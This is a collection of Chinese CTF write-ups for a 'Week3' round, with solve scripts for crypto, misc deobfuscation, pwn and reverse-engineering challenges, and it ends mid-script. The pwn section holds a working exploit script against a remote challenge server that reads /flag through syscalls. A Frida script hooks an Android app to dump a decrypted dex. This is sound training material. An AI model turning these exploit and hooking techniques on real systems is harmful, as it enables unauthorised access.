AL(L IN MY)GO | Week3 - Crypto
两个⽅程:a1p+ b1q = 1 a1a2 + b1b2 = 1
解关于 a1 , a2 的不定⽅程 a1x + b1y = 1 ,解是 = x0 + b1t;y = y0 a1t
于是可得 p = a2 (mod b1)
爆破⽤ gcd
for i in range(100000):
p1=a2+b1*i
p2=a2-b1*i
if gcd(p1,n)!=1:
p=p1
if gcd(p2,n)!=1:
p=p2
q=n//p
phi=(p-1)*(q-1)
d=inverse(65537,phi)
m=pow(int(c),int(d),int(n))
print(long_to_bytes(m))
Ave Mujica 2 | Week3 - Crypto
最简单的⽅法就是全部梭回来对⽐。
from Crypto.Util.number import *
def d2l(d):
base_map = {"A": 0, "T": 1, "C": 2, "G": 3}
qd = [base_map[base] for base in d]
n = 0
for digit in qd:
n = n * 4 + digit
return n
def dbp(d):
bpd=[]
bp={"A":"T","T":"A","C":"G","G":"C"}
for i in d:
bpd.append(bp[i])
pd="".join(bpd)
return pd
d3=
for i in d3:
a=d2l(dbp(i))
print(long_to_bytes(a))
"""
b'\x01\x99\xb1\xb1g{Mutsumi?Mortis!She_conquered}'
b'\x01\x99\xb1\x85\x9d\xed5\xd5\xd1\xcd\xd5\xb5\xa4\xfd5\xbd\xc9\xd1\xa6\xcc\x85M\xa1\x95}#onquered}'
b'\x06g\x18Y\xde\xd3]]3umi?Mortis!She_conquered}'
b'\x19\x9b\x18Y\xdd\xd3]]\x1c\xdd[ZO\xd3[\xdc\x9d\x1a\\\xc9She_conquered}'
b'flag{Mutsumi?Mortms!She_conquereh}'
b'flag{Mutsumi?Mo\xdc\x9d\x1a_!She_conquered}'
b'\x19\x9b\x18Y\xde\xcdutsumi?Mortis!She_conquered}'
b'\x01\x99\xb1\x85\x9d\xed\rutsumi?Mortis!She_conquered}'
b"\x06f\xc6\x16w\xb4\xd7WG7V\xd6\x93\xf4\xd6\xf7'F\x972\x156\x86U\xf66\xf6\xd9\xc5\xd5\x95\xc9\x95\x91\xdd"
b'flag{Mutsumi?M\x1b\xdc\x9d\x1a\\\xc8T\xda\x19W\xd8\xdb\xdb\xb1uered}'
"""
你能看出来吗
Note
先看题⽬流程:
将 flag 转换为整数 m ,然后使⽤ l2d 函数将 m 转换为⼀个 DNA 序列 dna1 ,再通过 dbp 函数得到 dna1 的互补链 dna2 ,接着对 dna2 进⾏两次突变操作 ,⽣成⼗个不同的 dna3 并输出 ,⽽突变有三种情况 ,每次操作会随机选择其中⼀种:删除⼀个随机位置的碱基、在随机位置插⼊⼀个随机的碱基、替换⼀个随机位置的碱基为另⼀个碱基 ,则经过两次操作后 ,最短的情况和最⻓的情况⻓度相差为 4 ,列出这⼗个样本:
则最⻓的那个去掉多出来的四个字符的其中两个后就是原来的链 dna2 ,编写解密脚本:
import itertools
from Crypto.Util.number import long_to_bytes
def dbp(d):
bp = {"A": "T", "T": "A", "C": "G", "G": "C"}
return "".join([bp[i] for i in d])
base = {"A": "0", "T": "1", "C": "2", "G": "3"}
dna2_p1 = "AGAGA"
sus_1 = "G"
dna2_p2 = "CTAGTAAGACACGCATCAACAAACAT"
sus_2 = "A"
dna2_p3 = "CTCACAAAGCAAGGATCCCATCAAGCCACTGACATAGGAACTCTGTAAATCAGGTAGAAAACCAGTCAGCCAGC"
sus_3 = "A"
dna2_p4 = "GACTAACAAAGAAACTGAGAAAGATAC"
sus_4 = "A"
dna2_p5 = "CA"
sus_indices = [1, 3, 5, 7]
sus_strings = [sus_1, sus_2, sus_3, sus_4]
parts = [dna2_p1, sus_1, dna2_p2, sus_2, dna2_p3, sus_3, dna2_p4, sus_4, dna2_p5]
combinations_to_remove = list(itertools.combinations(sus_indices, 2))
for remove_indices in combinations_to_remove:
new_parts = parts.copy()
for index in sorted(remove_indices, reverse=True):
del new_parts[index]
dna2 = ''.join(new_parts)
print("互补链dna2:", dna2)
dna1 = dbp(dna2)
print("模板链dna1:", dna1)
quad_str = "".join([base[c] for c in dna1])
m = int(quad_str, 4)
flag = long_to_bytes(m)
print("Flag:", flag)
输出:
得到 flag:
flag{Mutsumi?Mortis!She_conquered} |
ez_DH | Week3 - Crypto
from gmpy2 import mpz, powmod, gcd, next_prime, iroot
from tqdm import tqdm
from sage.all import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from hashlib import sha256
n = ...
X = ...
Y = ...
c
='b77e9f1d53c546940be528d01566a6742789736500f261492728e97f6062b87edb999cd97ccc68f974500fe4b9268a87'
def polard(n: int, cap):
g = mpz(3)
cur = mpz(2)
while cur < cap:
g = powmod(g, cur**10, n)
if g == 1:
break
check = gcd(g - 1, n)
if check != 1:
return int(check)
nx = next_prime(cur)
cur = nx
return None
p = polard(n, 2**12)
q = int(iroot(n//p**11, 11)[0])
print(f"{p = }")
print(f"{q = }")
assert (p*q)**11 == n
# Solving dlog on p-adic field
Rp = Zp(p, 11)
Rq = Zp(q, 11)
xp = (Rp(X).log() / Rp(3).log()).lift()
xq = (Rq(X).log() / Rq(3).log()).lift()
# Soling dlog on Fp with p is smooth
odp = p-1
R = Zmod(p**11)
x_mod_odp = discrete_log(R(X) ** (p**10), R(3) ** (p**10), ord=ZZ(odp))
odq = q-1
R = Zmod(q**11)
x_mod_odq = discrete_log(R(X) ** (q**10), R(3) ** (q**10), ord=ZZ(odq))
x = int(crt([xp, xq, x_mod_odp, x_mod_odq], [p**10, q**10, odp, odq]))
assert pow(3, x, n) == X
ss2 = pow(Y, x, n)
key = sha256(str(ss2).encode()).digest()
print(unpad(AES.new(
key=key,
mode=AES.MODE_ECB
).decrypt(bytes.fromhex(c)), 16).decode())
bird | Week3 - Misc
根据⽂件内容 ,初步猜测是代码混淆 ,根据题⽬ bird、Gulf of Mexico、语⾔三个信息 ,可以得到⼀个代码语⾔项⽬
https://github.com/TodePond/GulfOfMexico
但是这个项⽬是混淆的 ,没办法直接运⾏ ,需要静态分析
倒数第四排的数组是与前边内容格式不⼀样的 ,是前边⼀直在调⽤的 m 数组
if (;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;42) {
const var v = m[a-1]!!
const var w = ((42 ^ v) % 256) ^ 0x89!!!
m[a-1] = w!!!!
const var a<-3> = 42 % 39!!
42 += 1!
}
针对这个部分分析 ,前边的内容根据项⽬可知可以简化为 42 i !
可以得到如下简化结果
const var v = m[a-1]
const var w = ((i ^ v) % 256) ^ 0x89
m[a-1] = w
const var a< -3> = i % 39
i += 1
将 const var 简化
a = i % 39
v = m[a-1]
w = ((i ^ v) % 256) ^ 0x89
m[a-1] = w
i += 1
这个语法项⽬的数组结构⽐较特殊(存在负号),经过分析可以改成
index = i % 39
value = m[index]
result = ((i ^ value) % 256) ^ 0x89
m[index] = result
i += 1
根据这个分析思路写脚本类推修改代码 ,以下是最后 EXP
file = "chall.db3"
with open(file, "r") as f:
code = f.read().split("\n")
code = [c.strip().replace('!', '') for c in code]
# 打开文件,删除没有用的混淆的 空格 和 !
mem = list(map(int, code[-4].split('[')[1][:-1].split(', ')))
# 提取m数组
start = 'const var w = '
operations = [c[len(start):] for c in code if c.startswith(start)]
# 提取每个部分的关键部分,即w参数运算内容
for i, op in enumerate(operations):
num = int(op.split(' ^ ')[2], 16)
addr = i % len(mem)
mem[addr] = ((i ^ mem[addr]) % 256) ^ num
# 实现原代码需要的运算
flag = bytes(mem).decode()
print(flag)
TRX{tHi5_I5_th3_P3rf3ct_l4nGU4g3 !!!!!!} |
Syscall | Week3 - Pwn
shmgetshmat 拿到可读写内存
execve
#!/usr/bin/env python3
from pwncli import *
context.terminal = ["tmux", "splitw", "-h", "-l", "122"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
if local_flag == "remote":
addr = '175.27.249.18 30524'
host = addr.split(' ')
gift.io = remote(host[0], host[1])
gift.remote = True
else:
gift.io = process('./pwn4')
if local_flag == "nodbg":
gift.remote = True
init_x64_context(gift.io, gift)
libc = load_libc()
gift.elf = ELF('./pwn4')
cmd = '''
brva 0x1208
c
'''
sa(b'> ', b'29 114 128 950')
launch_gdb(cmd)
sa(b'> ', b'30 0 0 0')
base = int(rl())
leak_ex2(base)
sa(b'> ', f'0 0 {base} 5')
s(b'/flag')
sa(b'> ', f'2 {base} 0 0')
sa(b'> ', f'0 3 {base} 128')
sa(b'> ', f'1 1 {base} 128')
ia()
b&w | Week3 - Reverse
Note
发现是双⼦程序进程间通信 ,搜索 waiting for 之后找到两个程序的主函数:
black:
__int64 sub_7FF6F4B05EC0()
{
v55 = -2i64;
v53 = 0;
v52 = 0;
v51 = 0;
sub_7FF6F4B051C0(v15, &off_7FF6F4B57568, 1i64); //waiting for white
sub_7FF6F4B3ED50(v15);
while ( 1 )
{
sub_7FF6F4B01DB0(v19);
LOBYTE(v0) = 1;
v14 = sub_7FF6F4B01E40(v19, v0);
v17 = sub_7FF6F4B042C0(
v14,
(__int64)"\\\\.\\pipe\\white_to_black\\\\.\\pipe\\black_to_whiteConnected to white.\n",
23i64);
v18 = v1;
if ( !v17 )
break;
sub_7FF6F4B01350(&v17);
v9 = sub_7FF6F4B023C0(1i64);
sub_7FF6F4B3D470(v9, v10);
}
v53 = 1;
v16 = v18;
while ( 1 )
{
sub_7FF6F4B01DB0(v23);
LOBYTE(v2) = 1;
v13 = sub_7FF6F4B01E50(v23, v2);
v21 = sub_7FF6F4B042C0(v13, (__int64)"\\\\.\\pipe\\black_to_whiteConnected to white.\n",23i64);
v22 = v3;
if ( !v21 )
break;
sub_7FF6F4B01350(&v21);
v7 = sub_7FF6F4B023C0(1i64);
sub_7FF6F4B3D470(v7, v8);
}
v52 = 1;
v20 = v22;
v53 = 0;
sub_7FF6F4B055D0(v24, v16);
v51 = 1;
v52 = 0;
v25 = v20;
sub_7FF6F4B051C0(v26, &off_7FF6F4B575C0, 1i64);
sub_7FF6F4B3ED50(v26);
v28[0] = 0; //16字节密钥,也按 dword 代入(从上到下分别为 0x00114514, 0x19198100, 0xDEADBEEF, 0x00070201)
v28[1] = 0x11;
v28[2] = 0x45;
v28[3] = 0x14;
v28[4] = 0x19;
v28[5] = 0x19;
v28[6] = 0x81;
v28[7] = 0;
v28[8] = 0xDE;
v28[9] = 0xAD;
v28[10] = 0xBE;
v28[11] = 0xEF;
v28[12] = 0;
v28[13] = 7;
v28[14] = 2;
v28[15] = 1;
sub_7FF7FD5A3C30(v27, v28);
sub_7FF7FD5A2B70(v29, v27);
v43 = 0;
v32[2] = v24[2];
v32[1] = v24[1];
v32[0] = v24[0];
sub_7FF7FD5A54A0(v31, v32);
sub_7FF7FD5A69A0(Src, v31);
memcpy_0(v33, Src, sizeof(v33));
while ( 1 ) //主逻辑无限循环
{
sub_7FF6F4B06B00(&v34, (__int64)v33); //读取white的管道传来的文本,v33指向传入的文本地址,v34为输入字符串的长度+2
if ( (_QWORD)v34 == 0x8000000000000001ui64 ) //读取错误则退出循环
break;
v37 = v35; //真实长度
v36 = v34; //长度+2
sub_7FF6F4B05710(v38, &v36, (int)"Failed to read line", 19, (__int64)&off_7FF6F4B575E8);
//读取失败
v5 = sub_7FF6F4B046E0(v38); //v5是传入的文本(先前已经经过一次变换),v38是长度+2
sub_7FF7FD5A5C00(v39, v29, v5, v6); //四个参数分别为返回结果地址、密钥、明文和明文的真实长度
sub_7FF6F4B01830(v48, &unk_7FF6F4B57600, v47);
*(_QWORD *)&v54 = v48;
*((_QWORD *)&v54 + 1) = sub_7FF6F4B04880;
v50[1] = v54;
v50[0] = v54;
sub_7FF6F4B050D0((unsigned int)v49, (unsigned int)&unk_7FF6F4B57748, 2, (unsigned int)v50, 1i64);
v12 = sub_7FF6F4B04470(&v25, v49); //此时 white 已经接收到加密内容并输出加密结果
sub_7FF6F4B058D0(v12, "Failed to write to pipe", 23i64, &off_7FF6F4B57780);
v11 = sub_7FF6F4B01E60(&v25);
sub_7FF6F4B058D0(v11, "Failed to flush pipe", 20i64, &off_7FF6F4B577B0);
sub_7FF6F4B01170(v48);
sub_7FF6F4B01170(v46);
}
sub_7FF6F4B010F0(v41);
result = sub_7FF6F4B01150(&v25);
v51 = 0;
v52 = 0;
v53 = 0;
return result;
}
发现输⼊的⽂本到 v5 这⾥已经经过了⼀层简单的变换,具体变换⽅式为:
abcdefghijklmnopqrstuvwxyz (不论⼤⼩写)-> mlkjihgfedcbazyxwvutsrqpon(反向rot13)
1234567890 -> 3210987654(其他特殊符号不变)
之后代⼊ black 中进⾏加密,运⾏程序测试发现每次加密结果不⼀样,研究密⽂结构,举其中⼀例:
发现明⽂应该是按两个 dword 组成⼀个块带⼊加密的(8字节),并且在最后还会输出额外的 8 字节 ,猜测这是⼀个⽤于额外随机加密的密钥 ,整理上述发现:
1. 明⽂会先在某处(可能是 white)进⾏按字符的重映射 ,映射效果类似反向的 ROT 加密
2. 变换过的明⽂按两个 dword ⼀组带⼊进⾏了某种加密(猜测是 TEA 类),密钥为 16 字节:
00 11 45 14 19 19 81 00 DE AD BE EF 00 07 02 01
3. 明⽂还会和某两个随机 dword 进⾏某种加密 ,这两个 dword 会和密⽂⼀起输出
观察flag密⽂: X2+L9DsxzsH2Y3a9xa6W8Ku81qkJp6/FPspYWrXXxYmNpbnIJBEI5g== 对应 40字节:
5f 6f 8b f4 3b 31 ce c1 f6 63 76 bd c5 ae 96 f0 ab bc d6 a9 09 a7 af c5 3e ca 58 5a b5 d7 c5 89 8d a5 b9 c8 24 11 08 e6
则对应的 flag 应为 32 字节 ,最后 8 字节是当时随机⽣成的密钥 ,观察上⽂提到的 black 程序中的加密函数:
_QWORD *__fastcall sub_7FF6F4B05C00(_QWORD *a1, __int64 a2, __int64 a3, __int64 a4)
{
v26 = -2i64;
sub_7FF6F4B05B20(v17, a3, a4); //将明文复制到v17的缓冲区
sub_7FF6F4B03930(v18);
v4 = sub_7FF6F4B039D0(v17);
core::slice::_$LT$impl$u20$$u5b$T$u5d$$GT$::chunks::hec8614e01ec4a057( (unsigned int)v20,v4,v5,8, (__int64)&off_7FF6F4B57520);
sub_7FF6F4B052F0(v19, v20); //将明文按8字节分割成一块
v21[0] = v19[0];
v21[1] = v19[1];
v21[2] = v19[2];
while ( 1 ) /按块进行加密
{
v22 = sub_7FF6F4B05310(v21); //获取块
v23 = v6;
if ( !v22 ) //没有可用块则结束
break;
v12 = v22; //指针
v13 = v23;
v24[1] = 0i64;
v24[2] = 0i64;
v24[5] = 0i64;
v24[4] = 0i64;
v24[7] = 0i64;
v25 = sub_7FF6F4B03BB0(0i64);
v24[6] = v25;
v24[3] = v25;
v24[0] = v25; //这里v24被初始化为全0
v8 = sub_7FF6F4B019D0((__int64)v24, 8i64); //检验v24
sub_7FF6F4B34EB0(v8, v9, v12, v13, (__int64)&off_7FF6F4B57538); //搬运数据,v12为文本的地址,第五个参数指向src/main.rs
sub_7FF6F4B028B0(a2, (__int64)v24); //密钥加密函数,a2为密钥,v24为8字节的明文块
v10 = sub_7FF6F4B34F40(v24, 8i64);
sub_7FF6F4B376D0(v18, v10, v11);
}
*a1 = v18[0];
a1[1] = v18[1];
a1[2] = v18[2];
sub_7FF6F4B01180((__int64)v17);
return a1; //返回结果
}
查看加密函数:
__int64 __fastcall sub_7FF7FD5A28B0(__int64 a1, __int64 a2)
{
v21 = sub_7FF7FD5D4F40(a2, 8i64);
if ( v2 < 4 )
sub_7FF7FD5F5330(4i64, v2, &off_7FF7FD5F69E0);
sub_7FF7FD5A1930(0i64, 4i64, v2);
v17 =
_$LT$byteorder..BigEndian$u20$as$u20$byteorder..ByteOrder$GT$::read_u32::h17cc09fd16e4f66e(v21, 4i64); //前4字节大端序
v18 = sub_7FF7FD5D4F40(a2, 8i64);
if ( v3 < 8 )
sub_7FF7FD5F5330(8i64, v3, &off_7FF7FD5F69E0);
sub_7FF7FD5A1930(4i64, 8i64, v3);
v4 =
_$LT$byteorder..BigEndian$u20$as$u20$byteorder..ByteOrder$GT$::read_u32::h17cc09fd16e4f66e(v18 + 4, 4i64); //后4字节大端序
v15 = sub_7FF7FD5A40A0(a1, v17, v4); //加密函数
v16 = v5;
v6 = sub_7FF7FD5A19D0(a2, 8i64);
v8 = sub_7FF7FD5D44B0(0, 4, v6, v7, (__int64)&off_7FF7FD5F69E0);
_$LT$byteorder..BigEndian$u20$as$u20$byteorder..ByteOrder$GT$::write_u32::h31d90aa70fb2cefc(v8, v9, v15);
v10 = sub_7FF7FD5A19D0(a2, 8i64);
v12 = sub_7FF7FD5D44B0(4, 8, v10, v11, (__int64)&off_7FF7FD5F69E0);
return
_$LT$byteorder..BigEndian$u20$as$u20$byteorder..ByteOrder$GT$::write_u32::h31d90aa70fb2cefc(v12, v13, v16);
}
查看详细加密:
__int64 __fastcall sub_7FF7FD5A40A0(int *a1, unsigned int a2, unsigned int a3)
{
v17 = 0;
v13 = *a1; //密钥的4个dword
v14 = a1[1];
v15 = a1[2];
v16 = a1[3];
v20[0] = sub_7FF7FD5A2190(0i64, 64i64); //初始化为0和0x40
v20[1] = v3;
while ( 1 )
{
v21 = sub_7FF7FD5A2180(v20); // 1,同时将v20改为1
v22 = v4;
if ( !v21 )
break;
v17 += a1[4]; //sum += delta
v6 = shl(a3, 4); //v1 << 4
v10 = rev_xor((unsigned int)(v13 + v6), (unsigned int)(v17 + a3)); //(v1 + sum) ^ ((v1 << 4) + k0)
v7 = shr(a3, 5); //v1 >> 5
a2 += rev_xor(v10, (unsigned int)(v14 + v7)); //((v1 >> 5) + k1) ^ ((v1 + sum) ^ ((v1 << 4) + k0))
v8 = shl(a2, 4);
v11 = rev_xor((unsigned int)(v15 + v8), (unsigned int)(v17 + a2));
v9 = shr(a2, 5);
a3 += rev_xor(v11, (unsigned int)(v16 + v9));
}
return a2;
}
⼀看就是 TEA 加密 ,只不过 delta 是个随机值 ,并且轮数为 64 轮 ,编写同构脚本进⾏模拟 ,发现密⽂尾部多出来的 8 字节并不是 delta ,⽽是由 2 个全 0 明⽂加密⽣成的密⽂ ,经过多次尝试发现当字节个数不够 8 的倍数时会⾃动补全到 8 的倍数 ,⽤ \x00 填充 ,⽽如果本⾝就是 8 的倍数 ,则会在末尾额外添加 8 个 \x00 字节 ,但是不确定 flag 的⻓度是不是 8 的倍数 ,所以直接编写脚本爆破 delta:
#include <iostream>
#include <vector>
#include <thread>
#include <atomic>
#include <mutex>
#include <chrono>
// 全局配置
const uint32_t TARGET_DWORD = 0x68626d67; // flag的对应映射hbmg
const uint32_t CIPHER_PART[2] = {0x5f6f8bf4, 0x3b31cec1}; // 前8字节密文
const uint32_t k[4] = {0x00114514, 0x19198100, 0xDEADBEEF, 0x00070201};
const uint32_t DELTA_MAX = 0xFFFFFFFF;
const int THREADS = std::thread::hardware_concurrency();
std::atomic<uint32_t> g_progress(0);
std::atomic<bool> g_found(false);
// 进度监控
void progress_monitor() {
while (!g_found) {
uint32_t current = g_progress;
float percent = (float)current / DELTA_MAX * 100;
std::cout << "\rProgress: " << current << "/" << DELTA_MAX
<< " (" << percent << "%) ";
std::this_thread::sleep_for(std::chrono::seconds(1));
}
}
// 解密函数(针对前8字节)
bool check_delta(uint32_t delta) {
uint32_t v0 = CIPHER_PART[0], v1 = CIPHER_PART[1];
uint32_t ttl = delta * 64;
for (int j = 0; j < 64; ++j) {
v1 = (v1 - (((v0 << 4) + k[2]) ^ (v0 + ttl) ^ ((v0 >> 5) + k[3])));
v0 = (v0 - (((v1 << 4) + k[0]) ^ (v1 + ttl) ^ ((v1 >> 5) + k[1])));
ttl -= delta;
}
return (v0 == TARGET_DWORD); // 只检查第一个DWORD
}
// 线程任务
void search_range(uint32_t start, uint32_t end) {
for (uint32_t delta = start; delta < end && !g_found; ++delta) {
if (check_delta(delta)) {
g_found = true;
std::cout << "\nFound valid delta: 0x" << std::hex << delta << std::endl;
return;
}
if ((delta - start) % 0x1000 == 0) {
g_progress.fetch_add(0x1000);
}
}
}
int main() {
std::vector<std::thread> threads;
std::thread monitor(progress_monitor);
// 分割任务
uint32_t range = DELTA_MAX / THREADS;
for (int i = 0; i < THREADS; ++i) {
uint32_t start = i * range;
uint32_t end = (i == THREADS-1) ? DELTA_MAX : start + range;
threads.emplace_back(search_range, start, end);
}
for (auto& t : threads) t.join();
monitor.join();
return 0;
}
运⾏输出 delta:
Progress: 0/4294967295 (0%)
Found valid delta: 0x48315716
⽤该 delta 进⾏解密:
lowercase_map = str.maketrans('abcdefghijklmnopqrstuvwxyz', 'mlkjihgfedcbazyxwvutsrqpon')
uppercase_map = str.maketrans('ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'MLKJIHGFEDCBAZYXWVUTSRQPON')
digit_map = str.maketrans('1234567890', '3210987654')
de_lowercase_map = str.maketrans('mlkjihgfedcbazyxwvutsrqpon', 'abcdefghijklmnopqrstuvwxyz')
de_uppercase_map = str.maketrans('MLKJIHGFEDCBAZYXWVUTSRQPON', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ')
de_digit_map = str.maketrans('3210987654', '1234567890')
def map_enc(input_string):
result = input_string.translate(digit_map)
result = result.translate(lowercase_map)
result = result.translate(uppercase_map)
return result
def map_dec(input_string):
result = input_string.translate(de_digit_map)
result = result.translate(de_lowercase_map)
result = result.translate(de_uppercase_map)
return result
def to_hex_array(string):
array = []
for i in range(len(string)):
array.append(ord(string[i]))
return array
def mapping(input_string):
enc = map_enc(input_string)
hex_array = to_hex_array(enc)
return enc, hex_array
def de_mapping(input_string):
dec = map_dec(input_string)
return dec
def dwords_to_bytes_big_endian(dword_array):
byte_list = []
for dword in dword_array:
byte_list.extend(dword.to_bytes(4, byteorder='big'))
return byte_list
def bytes_to_dwords_big_endian(byte_array):
return [int.from_bytes(byte_array[i:i+4], byteorder='big', signed=False)for i in range(0, len(byte_array), 4)]
test = "1234567890abcdefghijklmnopqrstuvwxyz"
test = "flag{"
k = [0x00114514, 0x19198100, 0xDEADBEEF, 0x00070201]
enc, hex_enc = mapping(test)
print(f"Original: {test}")
print(f"EncryptS: {enc}")
print("AfterTEA: ", end="")
dwordenc = bytes_to_dwords_big_endian(hex_enc)
for i in range(2):
dwordenc.append(0)
dwordresult = []
for i in range(len(dwordenc)//2):
v0 = dwordenc[2 * i]
v1 = dwordenc[2 * i + 1]
ttl = 0
delta = 0x4831BB6B
for j in range(0x40):
ttl = (ttl + delta) & 0xFFFFFFFF
v0 = (v0 + (((v1 << 4) + k[0]) ^ (v1 + ttl) ^ ((v1 >> 5) + k[1]))) & 0xFFFFFFFF
v1 = (v1 + (((v0 << 4) + k[2]) ^ (v0 + ttl) ^ ((v0 >> 5) + k[3]))) & 0xFFFFFFFF
dwordresult.append(v0)
dwordresult.append(v1)
result = dwords_to_bytes_big_endian(dwordresult)
for i in range(len(result)):
print(hex(result[i]),end=", ")
print()
dwordresult = [0x5f6f8bf4, 0x3b31cec1, 0xf66376bd, 0xc5ae96f0, 0xabbcd6a9,
0x09a7afc5, 0x3eca585a, 0xb5d7c589, 0x8da5b9c8, 0x241108e6]
dwordrev = []
for i in range(len(dwordresult)//2):
v0 = dwordresult[2 * i]
v1 = dwordresult[2 * i + 1]
delta = 0x48315716
ttl = (0x40 * delta) & 0xFFFFFFFF
for j in range(0x40):
v1 = (v1 - (((v0 << 4) + k[2]) ^ (v0 + ttl) ^ ((v0 >> 5) + k[3]))) & 0xFFFFFFFF
v0 = (v0 - (((v1 << 4) + k[0]) ^ (v1 + ttl) ^ ((v1 >> 5) + k[1]))) & 0xFFFFFFFF
ttl = (ttl - delta) & 0xFFFFFFFF
dwordrev.append(v0)
dwordrev.append(v1)
rev = dwords_to_bytes_big_endian(dwordrev)
print("BeforTEA: ",end="")
bflag = bytearray()
for i in range(len(rev)):
bflag.append(rev[i])
print(bflag)
mapflag = bflag.decode()
print("OutpFlag:", de_mapping(mapflag))
输出 flag:
flag{Ru57_and_g0_1s_fun_T0_r3v3rs3_XD} |
ezMobile | Week3 - Reverse
Note
查看源代码 ,发现有— 个 TMP ⽂件在运⾏过程中被解密 ,并作为 dex 读取 ,⽤ frida 动态转储:
import frida
import sys
import os
def on_message(message, data):
if message['type'] == 'send':
payload = message['payload']
if payload.get('type') == 'dex_content':
# 将十六进制字符串数组转换为实际的字节数组
hex_array = payload.get('content')
dex_content = bytes.fromhex(''.join(hex_array))
output_path = "E:/CTF/output.dex"
with open(output_path, 'wb') as f:
f.write(dex_content)
print(f"Dex dumped to {os.path.abspath(output_path)}")
# JavaScript注入代码
jscode = """
Java.perform(function() {
console.log("Starting hook...");
// Hook MainActivity.change方法
var MainActivity = Java.use('ctf.myapplication.MainActivity');
MainActivity.change.overload('[B').implementation = function(bArr) {
console.log("MainActivity.change method called with byte array of length: " + bArr.length);
// 调用原始的change方法获取处理后的byte数组
var resultByteArray = this.change(bArr);
console.log("Processed byte array length: " + resultByteArray.length);
// 发送提取到的dex内容
send({type: "dex_content", content: bytesToHexArray(resultByteArray)});
return resultByteArray;
};
console.log("Hook setup complete.");
// 辅助函数:将byte数组转换为hex字符串数组
function bytesToHexArray(bytes) {
var hexArray = [];
for (var i = 0; i < bytes.length; i++) {
var hex = ('0' + (bytes[i] & 0xFF).toString(16)).slice(-2);
hexArray.push(hex);
}
return hexArray;
}
});
"""
def main(target_process):
# 通过包名启动并附加到应用
device = frida.get_usb_device()
pid = device.spawn([target_process])
session = device.attach(pid)
script = session.create_script(jscode)
script.on('message', on_message)
print('[*] Attaching from the process.')
script.load()
# 继续应用的执行
device.resume(pid)
try:
sys.stdin.read()
except KeyboardInterrupt:
print("[*] Detaching from the process.")
session.detach()
if __name__ == "__main__":
if len(sys.argv) != 2:
process = frida.get_usb_device(-1).enumerate_processes()
print(process)
print("Usage: python dump_dex.py <package_name>")
sys.exit(1)
target_process = sys.argv[1]
main(target_process)
得到函数:
package com.example.myapplication;
import java.io.UnsupportedEncodingException;
/* loaded from: E:\CTF\output.dex */
public final class FlagChecker {
static final /* synthetic */ boolean $assertionsDisabled = false;
private static final int DELTA = -1640531527;
public static native String getKey();
static {
System.loadLibrary("ctf");
}
private static int MX(int sum, int y, int z, int p, int e, int[] k) {
return (((z >>> 5) ^ (y << 2)) + ((y >>> 3) ^ (z << 4))) ^ ((sum ^ y) + (k[(p & 3) ^ e] ^ z));
}
public static final byte[] encrypt(byte[] data, byte[] key) {
if (data.length == 0) {
return data;
}
return toByteArray(encrypt(toIntArray(data, true), toIntArray(fixKey(key), $assertionsDisabled)), $assertionsDisabled);
}
public static final byte[] encrypt(String data, String key) {
try {
return encrypt(data.getBytes("UTF-8"), key.getBytes("UTF-8"));
} catch (UnsupportedEncodingException e) {
return null;
}
}
public static final String encryptToBase64String(String data, String key) {
byte[] bytes = encrypt(data, key);
if (bytes == null) {
return null;
}
return Base64.encode(bytes);
}
private static int[] encrypt(int[] v, int[] k) {
int n = v.length - 1;
if (n < 1) {
return v;
}
int e = (52 / (n + 1)) + 6;
int z = v[n];
int sum = 0;
while (true) {
int q = e - 1;
if (e <= 0) {
return v;
}
sum += DELTA;
int e2 = (sum >>> 2) & 3;
int p = 0;
while (p < n) {
int MX = v[p] + MX(sum, v[p + 1], z, p, e2, k);
v[p] = MX;
z = MX;
p++;
}
int MX2 = v[n] + MX(sum, v[0], z, p, e2, k);
v[n] = MX2;
z = MX2;
e = q;
}
}
private static byte[] fixKey(byte[] key) {
if (key.length == 16) {
return key;
}
byte[] fixedkey = new byte[16];
if (key.length < 16) {
System.arraycopy(key, 0, fixedkey, 0, key.length);
} else {
System.arraycopy(key, 0, fixedkey, 0, 16);
}
return fixedkey;
}
private static int[] toIntArray(byte[] data, boolean includeLength) {
int[] result;
int n = (data.length & 3) == 0 ? data.length >>> 2 : (data.length >>> 2) + 1;
if (includeLength)
result = new int[n + 1];
result[n] = data.length;
} else {
result = new int[n];
}
int n2 = data.length;
for (int i = 0; i < n2; i++) {
int i2 = i >>> 2;
result[i2] = result[i2] | ((data[i] & 255) << ((i & 3) << 3));
}
return result;
}
/* JADX INFO: Multiple debug info for r1v0 byte[]: [D('m' int), D('result' byte[])] */
private static byte[] toByteArray(int[] data, boolean includeLength) {
int n = data.length << 2;
if (includeLength) {
int m = data[data.length - 1];
int n2 = n - 4;
if (m < n2 - 3 || m > n2) {
return null;
}
n = m;
}
byte[] result = new byte[n];
for (int i = 0; i < n; i++) {
result[i] = (byte) (data[i >>> 2] >>> ((i & 3) << 3));
}
return result;
}
public static boolean check(String flag) {
String enc = encryptToBase64String(flag, getKey());
if (enc != null) {
return
enc.equals("YYCKLWlSJ9x4lYVm7iqlHt/EXvgahEoKEe2dl0BnRmGhNQ9KhPXYef3Eqbg=");
}
throw new AssertionError();
}
}
发现了—个魔改 XXTEA 加密和—个 base64 编码 ,密钥是从 libctf 的本地库中⽣成的 ,⽽本地库的该函数则显⽰ BUG ,直接动态调试 dex 得到密钥 882059e204adefc5 ,编写脚本解密:
def bytes_to_dwords_little_endian(byte_array):
return [int.from_bytes(byte_array[i:i+4], byteorder='little', signed=False) for i in
range(0, len(byte_array), 4)]
def dwords_to_bytes_little_endian(dword_array):
byte_list = []
for dword in dword_array:
byte_list.extend(dword.to_bytes(4, byteorder='little'))
return byte_list
def XXTEA(m, leng, k):
n = leng - 1
delta = 0x9E3779B9
rounds = 6 + 52 // (n + 1)
ttl = 0
for j in range(rounds):
ttl = (ttl + delta) & 0xFFFFFFFF
for i in range(n+1):
after = m[(i + 1) % len(m)]
before = m[(i - 1) % len(m)]
m[i] = (m[i] + ((((before >> 5) ^ (after << 2)) + ((after >> 3) ^ (before << 4))) ^ ((ttl ^ after) + (k[(i & 3) ^ ((ttl >> 2) & 3)] ^ before)))) & 0xFFFFFFFF
return m
def de_XXTEA(m, leng, k):
n = leng - 1
delta = 0x9E3779B9
rounds = 6 + 52 // (n + 1)
ttl = ((rounds + 1) * delta) & 0xFFFFFFFF
for j in range(rounds):
